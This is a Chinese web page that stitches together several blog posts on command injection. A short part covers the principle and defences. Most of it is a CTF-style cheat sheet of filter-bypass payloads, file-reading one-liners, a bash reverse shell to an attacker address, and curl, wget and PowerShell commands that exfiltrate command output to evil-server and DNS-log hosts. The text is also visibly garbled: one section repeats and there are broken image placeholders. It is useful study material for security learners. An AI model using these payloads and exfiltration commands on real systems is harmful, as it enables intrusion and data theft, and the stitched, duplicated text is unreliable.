精华内容
下载资源
问答
  • 命令注入攻击原理
    千次阅读
    2021-12-02 09:55:11

    代码注入是指攻击者通过网站类型注入相应的代码,这个代码以当前网站用户的权限执行系统命令,在高级事件中,攻击者可能溢出来提权导致整个web服务器的沦丧。在这里插入图片描述
    倘若攻击路径到/shell了,这种情况就很严重了,处理不好攻击者就要控制你整个服务器了,这个时候就需要专业IDC运营商的技术人员处理,一般用户在租用高防御服务器都会有售后技术服务,或者直接用五九盾网络服务器也不错,五九盾网络高防IDC机房针对游戏、金融、政企等多个行业客户提供全方位DDoS防护服务,包括高达8T全球,防护能力、无限CC攻击防护、SD-WAN专线回源主流云厂商、智能WAF防护、动态BGP线路、智能自动业务切换等功能。

    另外科普下Web服务器

    Web服务器一般指网站服务器,是指驻留于因特网上某种类型计算机的程序,可以向浏览器等Web客户端提供文档,也可以放置网站文件,让全世界浏览;可以放置数据文件,让全世界下载。目前最主流的三个Web服务器是Apache、Nginx、IIS。

    Web服务器是可以向发出请求的浏览器提供文档的程序。

    1、服务器是一种被动程序:只有当Internet上运行其他计算机中的浏览器发出的请求时,服务器才会响应。

    2、最常用的Web服务器是Apache和Microsoft的Internet信息服务器(Internet Information Services,IIS)。

    3、Internet上的服务器也称为Web服务器,是一台在Internet上具有独立IP地址的计算机,可以向Internet上的客户机提供WWW、Email和FTP等各种Internet服务。

    4、Web服务器是指驻留于因特网上某种类型计算机的程序。当Web浏览器(客户端)连到服务器上并请求文件时,服务器将处理该请求并将文件反馈到该浏览器上,附带的信息会告诉浏览器如何查看该文件(即文件类型)。服务器使用HTTP(超文本传输协议)与客户机浏览器进行信息交流,这就是人们常把它们称为HTTP服务器的原因。

    Web服务器不仅能够存储信息,还能在用户通过Web浏览器提供的信息的基础上运行脚本和程序。

    Web服务器的工作原理:

    Web服务器的工作原理并不复杂,一般可分成4个步骤:连接过程、请求过程、应答过程以及关闭连接。

    连接过程,就是Web服务器和Web浏览器之间所建立起来的一种连接。要查看连接过程是否实现,用户可以找到和打开socket这个虚拟文件(一个抽象层,应用程序可以通过它发送或接收数据,可对其进行像对文件一样的“打开、读写和关闭”等操作)。这个文件的建立,意味着“连接过程”这一步骤已经成功建立。

    请求过程,就是Web的浏览器运用socket这个文件向Web的服务器提出各种请求。应答过程,就是运用“HTTP协议”把在请求过程中所提出来的请求,传输到Web的服务器,进而实施任务处理,然后运用“HTTP协议”把任务处理的结果,再传输到Web的浏览器,同时在Web的浏览器上面,展示上述所请求的界面。

    关闭连接,就是当上一个步骤:“应答过程”完成以后,Web服务器和Web浏览器之间断开连接的过程。Web服务器上述4个步骤环环相扣、紧密相联,逻辑性比较强,可以支持多个进程、多个线程,以及多个进程与多个线程相混合的技术。

    更多相关内容
  • Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统...

    1、什么是命令注入

            Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。

            在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施进一步的渗透攻击。

    原理:web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。

    2、命令注入攻击是如何形成的?

            嵌入式应用程序或者 web应用程序有时需要调用一些系统命令的函数,如linux C中的system(),exec(),shell-exec() 等等,当用户能够控制这些函数中的参数时,就可以将恶意参系统命令拼接到正常命令中,从而造成命令注入攻击设备系统:

    命令注入的形成需要如下三个条件:

            1)使用了内部调用shell的函数:system(),exec()等
            2)将外界传入的参数没有足够的过滤,直接传递给内部调用shell的函数
            3)参数中shell的元字符没有被转义

    危害:继承嵌入式应用程序或者 web应用程序的权限去执行系统命令读写执行文件,导致系统有可能会被恶意攻击或者泄露系统用户信息。

    3、命令注入相关的特殊字符

    符号说明
    ;前后命令依次执行注意前后顺序,若更变目录,则必须在“一句”指令内
    ||前命令执行失败后才执行后命令-
    &&前命令执行成功后才执行后命令-
    &前台执行后任务,后台执行前任务如 a&b&c 则显示c的执行信息,a b在后台执行
    |管道,只输出后者的命令当第一条命令失败时,它仍然会执行第二条命令
    ``(反引号,仅linux)即命令替换,echo `date`,输出系统时间使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的
    $(command)这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间.按理说更推荐用这种方法,而不是反引号。

    4、命令注入解法策略:

            1)校验外部数据命令:在执行system、eval等命令执行功能的函数前,确定参数内容。

                    a. 对数据的合法性进行校验(不是校验是否包含命令注入的特殊字符):比如IP地址,直接校验IP地址的格式(inet_aton() ); 如果是url域名,则从url域名中获取IP地址(gethostname(),inet_ntop() )后,在进行IP格式校验,若获取失败或者校验失败,则认为数据非法。

                   b. 使用正则表达式对外部数据命令进行校验:白名单过滤?

            2)使用白名单安全过滤:比较适用于固定不变的命令或者数据(校验包含哪些目标字符,而不是定义不能包含什么字符)或者直接将命令定义为宏,然后使用system() 系统调用。

            3)使用黑名单过滤命令:黑名单机制还还是有可能会绕过系统校验,进行命令注入;所以不建议使用

            4)使用 exec系列族 函数代替 system() 系统调用函数,选择不调用系统命令的实现方法、避免使用内部调用shell的函数、不将外界传入的字符串传递给命令行参数

            5)使用安全的函数对传递给系统命令的参数进行转义
            6)将应用程序的权限降到最低
           7)给web服务器系统及使用的中间件及时打上安全补丁

            8)使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号“’”会被转义为“\’”,双引号“””会被转义为“\””,分号“;”会被转义为“\;”,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

    命令注入示例:

    这里写图片描述

     

    https://blog.csdn.net/extremebingo/article/details/81276087

    https://www.cnblogs.com/duk-blog/p/14292999.html

    展开全文
  • 命令注入总结

    千次阅读 2021-12-15 13:17:24
    文章目录命令注入总结原理常见的危险函数PHPsystemexecpassthrushell_execpopenproc_open反引号Pythonsystempopensubprocess.call/subprocess.runspawnJavajava.lang.Runtime.getRuntime().exec(command)Linux下常用...

    命令注入总结

    命令注入是通过易受攻击的应用程序在主机操作系统上执行任意命令。在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。 命令注入攻击很可能主要是由于输入验证不足。此攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。 在命令注入中,攻击者扩展了执行系统命令的应用程序的默认功能,而无需注入代码。

    原理

    当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)不经过检查过滤就传递给系统shell时,可能会发生命令注入攻击。

    常见的危险函数

    PHP

    system

    执行 command 参数所指定的命令, 并且输出执行结果。

    system ( string $command , int &$return_var = ? ) : string
    

    command:要执行的命令。

    return_var:如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

    exec

    执行 command 参数所指定的命令。

    exec ( string $command , array &$output = ? , int &$return_var = ? ) : string
    

    command:要执行的命令。

    output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。

    return_var:如果同时提供 outputreturn_var 参数, 命令执行后的返回状态会被写入到此变量。

    passthru

    执行 command 参数所指定的命令并且显示原始输出。

    passthru ( string $command , int &$return_var = ? ) : void
    

    command:要执行的命令。

    return_var:如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

    shell_exec

    通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

    shell_exec ( string $cmd ) : string
    

    cmd:要执行的命令。

    popen

    打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

    popen ( string $command , string $mode ) : resource
    

    command:命令。

    mode:模式。

    proc_open

    执行一个命令,并且打开用来输入/输出的文件指针。

    proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource
    

    cmd:要执行的命令

    descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)

    pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

    cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。

    env:要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

    other_options:你还可以指定一些附加选项。 目前支持的选项包括:

    • suppress_errors (仅用于 Windows 平台): 设置为 true 表示抑制本函数产生的错误。
    • bypass_shell (仅用于 Windows 平台): 设置为 true 表示绕过 cmd.exe shell。

    反引号

    PHP 支持一个执行运算符:反引号(“)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。效果和 shell_exec() 相同。

    Python

    system

    system(command)
    

    在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。

    popen

    popen(cmd, mode='r', buffering=-1)
    

    打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode'r' (默认)还是 'w' 决定该对象可以读取还是写入。

    subprocess.call/subprocess.run

    subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)
    

    运行由 args 所描述的命令。 等待命令完成,然后返回 returncode属性。

    spawn

    创建新进程以执行命令

    Java

    java.lang.Runtime.getRuntime().exec(command)

    Linux下常用的符号

    特殊符号

    符号说明
    A;BA不论正确与否都会执行B命令
    A&BA后台运行,A和B同时执行
    A&&BA执行成功的时候才会执行B命令
    A|BA执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
    A||BA执行失败后才会执行B命令
    ()群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。
    (())用于算数运算’,与 let 指令相似
    {}拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc…
    []在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。
    [[ ]]这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用||&&逻辑等符号。

    通配符

    字符解释
    *匹配任意长度任意字符
    ?匹配任意单个字符
    [list]匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
    [^list]匹配指定范围外的任意单个字符或字符集合
    [!list][^list]
    {str1,str2,…}匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
    IFS由 < space > 或 < tab > 或 < enter > 三者之一组成
    CR由 < enter > 产生
    !执行 history 中的命令

    常用绕过

    命令分隔与执行多条命令

    • 在Unix上:
    %0a 表示\r
    %0d 表示\n
    ;
    &
    |
    $(shell_command)
    `shell_command`
    {shell_command,}
    
    • 在Windows上:
    %0a
    &
    |
    %1a - 一个神奇的角色,作为.bat文件中的命令分隔符
    

    空格绕过

    • 使用<或者<>
    cat<>flag
    cat<flag
    
    • 使用IFS
    cat$IFS$9/flag
    cat${IFS}/flag
    cat$IFS/flag
    
    • url的编码绕过
    %09 
    
    • 花括号拓展{OS_COMMAND,ARGUMENT}
    {cat,/etc/passwd}
    
    • 变量控制
    X=$'cat\x20/flag'&&$X
    X=$'cat\x09/flag'&&$X
    

    绕过 escapeshellcmd

    • win下执行bat

    win下执行.bat文件的时候,利用%1a,可以绕过过滤执行命令

    id=../ %1a whoami
    
    • 宽字节注入

    php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。

    escapeshellcmd("echo ".chr(0xc0).";id");
    

    之后该语句会变成

    echo;id
    

    从而实现 id 命令的注入。

    黑名单绕过

    PHP表示字符串方法

    echo "foo";
    echo (string)"bar";
    echo (string)hello;
    echo (world);
    
    • 拼接
    a=c;b=at;c=flag;$a$b $c
    (sy.(st).em)(whoami)
    
    • 利用已存在的资源

    从已有的文件或者环境变量中获得相应的字符。

    • 编码
    echo "Y2F0IGZsYWc="|base64 -d   表示: cat flag
    echo "Y2F0IGZsYWc="|base64 -d|bash
    (printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
     
    #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
    {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
    
    • 单引号、双引号
    c""at fl''ag
    c'a't f'l'ag
    
    • 反斜线\
    c\at fl\ag
    
    • 通配符
    /?in/?s => /bin/ls
    cat fl[0-z]g
    echo d{a,e,i,u,o}g => dag deg dig dug dog
    echo {fl,fla}{ag,g} => flag flg flaag flag
    echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
    
    • 未定义变量
    cat$x /etc/passwd
    
    • 定义其他参数

    如只对参数c进行检查过滤,可以构造a参数进行绕过

    ?c=eval($_GET[a]);&a=cat ./flag
    

    eval()或者()也被过滤的时候可以使用,include配合php伪协议读取文件

    php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include。

    ?file=php://filter/convert.base64-encode/resource=xxx.php
    
    c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
    
    • 可变函数

    获取内置函数 system 的索引后,直接执行

    #1.先获取system函数的索引
    php -r 'get_defined_functions();' | grep 'system'
    #2.直接使用system函数执行
    php -r get_defined_functions()[501](whoami)'
    
    • $@
    c$@at fl$@ag
    echo i$@d
    
    • 利用已经存在的资源
    echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    echo $PATH| cut -c 1
    /
    echo $PATH| cut -c 1-4
    /usr
    
    • 字符数组

    在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。

    # 相当于执行(system)(ls /tmp)
    php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
    
    • 利用一些已有字符
    • ${PS2} 对应字符 >
    • ${PS4} 对应字符 +
    • ${IFS} 对应 内部字段分隔符
    • ${9} 对应 空字符串
    • 利用正则匹配
    grep show flag.php
    

    再flag.php文件里面正则匹配有show字符串的那一行。

    无参数rce

    print_r(scandir(‘.’));查看当前目录下的所有文件名

    localeconv() 函数返回一包含本地数字及货币格式信息的数组。

    current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

    each() 返回数组中当前的键/值对并将数组指针向前移动一步
    end() 将数组的内部指针指向最后一个单元
    next() 将数组中的内部指针向前移动一位
    prev() 将数组中的内部指针倒回一位
    array_reverse() 以相反的元素顺序返回数组

    打印出当前目录下的文件:

    print_r(scandir(current(localeconv())));
    

    current(localeconv())这两个函数组合起来就是.

    打印出倒数第二个文件的内容

    show_source(next(array_reverse(scandir(getcwd()))));
    

    过滤字母或数字

    • 利用数字

    过滤字母,但是没有过滤数字的情况下,可以使用base64命令:

    /???/????64 ????.???    ==>   /bin/base64 flag.php
    
    • 利用上传临时文件

    利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用进行匹配,即???/?????????,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?

    在ascii码表中观察发现

    image-20210528114139833

    在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件

    exp:

    #-- coding:UTF-8 --
    # Author:dota_st
    # Date:2021/2/11 9:14
    # blog: www.wlhhlc.top
    import requests
    while True:
        url = "http://**********/?c=. /???/????????[@-[]"
     
        r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
        flag = r.text.split('ctfshow')
        if len(flag) >1:
            print(r.text)
            break
    
    • 利用$()构造数字

    $(()) 代表做一次运算,因为里面为空,也表示值为0
    $((~$(()))) 对0作取反运算,值为-1
    $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
    $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

    如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

    exp:

    data = "$((~$(("+"$((~$(())))"*37+"))))"   #这里-37再取反就是36
    print(data)
    

    常用读取文件方式

    highlight_file($filename);
    show_source($filename);
    print_r(php_strip_whitespace($filename));
    print_r(file_get_contents($filename));
    readfile($filename);
    print_r(file($filename)); // var_dump
    fread(fopen($filename,"r"), $size);
    include($filename); // 非php代码
    include_once($filename); // 非php代码
    require($filename); // 非php代码
    require_once($filename); // 非php代码
    print_r(fread(popen("cat flag", "r"), $size));
    print_r(fgets(fopen($filename, "r"))); // 读取一行
    fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
    print_r(fgetcsv(fopen($filename,"r"), $size));
    print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
    print_r(fscanf(fopen("flag", "r"),"%s"));
    print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
    

    常用读取目录方式

    print_r(glob("*")); // 列当前目录
    print_r(glob("/*")); // 列根目录
    print_r(scandir("."));
    print_r(scandir("/"));
    var_export(scandir('/'));
    var_dump(scandir('/'));
    $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
    $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
    $a=glob("/*");foreach($a as $value){echo $value."   ";}
    $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
    

    利用数据库读文件绕过

    用的mysql的load_file进行读取文件

    exp:

    try {
        $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
            'root');
     
        foreach ($dbh->query('select load_file("/flag.txt")') as $row) {
            echo ($row[0]) . "|";
        }
        $dbh = null;
    } catch (PDOException $e) {
        echo $e->getMessage();
        exit(0);
    }
    

    利用FFI

    利用PHP7.4的FFI可以执行C语言的扩展,从而使用C的system函数进行明星执行。

    $ffi = FFI::cdef( "int system(const char *command);");    // 创建一个system对象
    $ffi->system("/readflag > 1.txt");    // 通过system去执行命令
    

    利用Bash内置变量

    • nl
    root@ubuntu:~# echo ${PWD}
    /root
    root@ubuntu:~# echo ${PWD:1:1}        #表示从1下标开始的第一个字符
    r
    root@ubuntu:~# echo ${PWD:0:1}         #表示从0下标开始的第一个字符
    /
    root@ubuntu:~# echo ${PWD:~0:1}        #从结尾开始往前的第一个字符
    t
    root@ubuntu:~# echo ${PWD:~A}        #所以字母和0具有同样作用
    t
    root@ubuntu:~# echo ${PATH}    
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
    root@ubuntu:~# echo ${PATH:~A}
    n
    root@ubuntu:/var/www/html# echo ${PATH:~A}${PWD:~A}
    nl
    

    在正常情况下${PWD}的值在www-data用户下是/var/www/html${PATH}和root用户的相同。则我们就可以构造nl 来读取文件: ${PATH:~A}${PWD:~A}

    • /bin/base64

    方法一:

    构造出/bin/base64需要/和4两个字符就行,其他的可以用通配符代替。
    /很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}绕过

    root@ubuntu:~# echo ${#SHLVL}
    1
    root@ubuntu:~# echo ${PWD::${SHLVL}}
    /
    root@ubuntu:~# echo ${#RANDOM}
    4
    root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}
    /bin/base64
    

    SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2

    RANDOM: 此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。并且,经测试,发现在linux中RANDOM产生的数值位数一般为4,所以可以利用${#RANDOM}产生数字4。

    在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4。

    方法二:

    root@ubuntu:/var/www/html# echo $?
    0
    root@ubuntu:/var/www/html# <A
    -bash: A: No such file or directory
    root@ubuntu:/var/www/html# echo $?
    1
    root@ubuntu:~# echo ${HOME}
    /root
    root@ubuntu:/var/www/html# echo ${#RANDOM}
    4
    root@ubuntu:~# echo ${HOME::$?}???${HOME::$?}?????${#RANDOM}
    /bin/base64
    

    $? :最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误,利用<A的报错就能返回值1

    "OS error code   1:  Operation not permitted"
    "OS error code   2:  No such file or directory"
    "OS error code   3:  No such process"
    "OS error code   4:  Interrupted system call"
    "OS error code   5:  Input/output error"
    "OS error code   6:  No such device or address"
    "OS error code   7:  Argument list too long"
    "OS error code   8:  Exec format error"
    "OS error code   9:  Bad file descriptor"
    "OS error code  10:  No child processes"
    
    • /bin/cat

    方法一:

    构造/bin/cat,需要t/${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替

    root@ubuntu:~# echo ${#HOSTNAME}
    5
    root@ubuntu:~# echo ${HOME}
    /root
    root@ubuntu:~# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
    t
    root@ubuntu:~# echo ${PWD::${SHLVL}}
    /
    root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}
    /bin/cat
    

    方法二:

    一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,一般我们可以查看http头部信息,可以利用php的版本信息。例如发现php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION

    root@ubuntu:~# echo ${USER}
    www-data
    root@ubuntu:~# echo ${PHP_VERSION:~A}
    2
    root@ubuntu:~# echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
    at
    root@ubuntu:~# echo ${#}
    0
    root@ubuntu:~# echo ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
    /bin/cat
    root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}}?
    /bin/cat
    
    • /bin/rev
    root@ubuntu:~# echo ${##}
    1
    root@ubuntu:~# echo ${#?}
    1
    root@ubuntu:/var/www/html# echo ${#IFS}
    3
    root@ubuntu:/var/www/html# echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??
    /bin/rev
    

    利用数学函数

    主要是通过base_convert ()函数将二十六进制的字符转换为十进制的数字,然后通过逆过程还原为原本被进制掉或不在白名单中的函数或命令。

    example:利用数学函数构造命令执行

    字符数限制绕过

    使用输出重定向>分步把要执行的命令输入到一个文件中,然后再通过sh执行这个文件

    短命令执行

    首先按照前面的>的用法,我们可以知道有标准输出可以输出到文件

    1. 只用\分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a输出到a文件
    root@kali:~/Desktop# >ec\
    > ho\
    > \ 1
    root@kali:~/Desktop# ls >a
    root@kali:~/Desktop# cat a
    a
    echo 1
    root@kali:~/Desktop# sh a
    a: 1: a: not found
    1
    

    这里把echo 1作为字符串输出到桌面,再使用ls命令将桌面的内容储存到a文件中,再执行a文件的内容,输出1

    1. 使用\\,这种方法是利用\来拼接字符串,其中前一个\是用来转义后一个\的。这里需要考虑时间顺序,需要逆序来创建文件。
    root@kali:~/Desktop# >\ 1\\
    root@kali:~/Desktop# >ho\\
    root@kali:~/Desktop# >ec\\
    root@kali:~/Desktop# ls -t>a
    root@kali:~/Desktop# cat a
    a
    ec\
    ho\
     1\
    root@kali:~/Desktop# sh a
    a: 1: a: not found
    1
    
    • -t 将文件依建立时间之先后次序列出

    无回显的命令注入

    我们之前提到的大部分都是有回显或者一部分提示的命令注入,当我们遇到无回显的命令注入的时候我们又要怎么办呢?

    sleep

    • 首先我们可以通过sleep命令根据返回的时间来判断是否存在命令执行漏洞。
    ?cmd=sleep 5
    

    若存在命令执行则会等待5秒才返回响应。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vh29P1tI-1639545433243)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210329114110956.png)]

    • 使用sleep来进行盲注
    sleep $(hostname | cut -c 1 |tr a 5)
    
    1. 我们执行的命令为hostname。我们假设它返回hacker。
    2. 它需要输出并将其传递给cut -c 1。这将选取hacker的第一个字符h。
    3. 接着通过tr命令将字符a替换为5。
    4. 然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数只能为一个数字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。

    这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。

    DNSLog

    无回显得命令执行语句可以使用DNSLog来查看结果。

    • window
    ping %USERNAME%.t6n089.ceye.io
    

    image-20210317113629877

    • *nix
    ping -c 1 `whoami`.t6n089.ceye.io
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TBj5VrWg-1639545433245)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210317113750098.png)]

    都可以看到我们的用户名显示在域名的最左边

    反弹 shell

    首先在自己的机器上开启监听端口:

    nc -lvp 2333
    

    然后在命令执行处输入:

    bash -i >&/dev/tcp/ip地址/端口 0>&1
    

    可以得到靶机的bash控制权:

    root@kali:~# nc -lvp 4444
    listening on [any] 4444 ...
    192.168.91.143: inverse host lookup failed: Unknown host
    connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728
    root@ubuntu18:/var/www/html# ls
    ls
    checksite
    DVWA-master
    index.html
    phpmyadmin
    test.php
    

    HTTP外带

    • Linux
    curl http://evil-server/$(whoami)
    wget http://evil-server/$(whoami)
    curl http://evil-server/`whoami`
    curl xxxx.ceye.io/`whoami`
    curl http://xxxx.ceye.io/$(id|base64)
    ping -c 1 `whoami`.xxxx.ceye.io
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-le7bdZ0U-1639545433246)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210324203716523.png)]

    • Window
    http:
    for /F %x in ('whoami') do start http://xxx.ceye.io/%x
    dns请求:
    获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
     
    for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-j5BtxvxT-1639545433247)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/image-20210324205124046.png)]

    dex.html
    phpmyadmin
    test.php

    
    ### HTTP外带
    
    - Linux
    
    ```bash
    curl http://evil-server/$(whoami)
    wget http://evil-server/$(whoami)
    curl http://evil-server/`whoami`
    curl xxxx.ceye.io/`whoami`
    curl http://xxxx.ceye.io/$(id|base64)
    ping -c 1 `whoami`.xxxx.ceye.io
    

    [外链图片转存中…(img-le7bdZ0U-1639545433246)]

    • Window
    http:
    for /F %x in ('whoami') do start http://xxx.ceye.io/%x
    dns请求:
    获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
    获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
     
    for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
    

    [外链图片转存中…(img-j5BtxvxT-1639545433247)]

    image-20210324205511286

    展开全文
  • 2.掌握命令注入攻击攻击的原理与方法 3.掌握防范攻击的方法 预备知识 在PHP中您可以使用下列5个函数来执行外部的应用程序或函数。 (1) system:执行一个外部的应用程序并显示输出的结果。 (2) exec:执行一个...

    实验目的与要求

    1.了解命令注入攻击攻击带来的危险性。

    2.掌握命令注入攻击攻击的原理与方法

    3.掌握防范攻击的方法

    预备知识

    PHP中您可以使用下列5个函数来执行外部的应用程序或函数。

    (1) system:执行一个外部的应用程序并显示输出的结果。

    (2) exec:执行一个外部的应用程序。

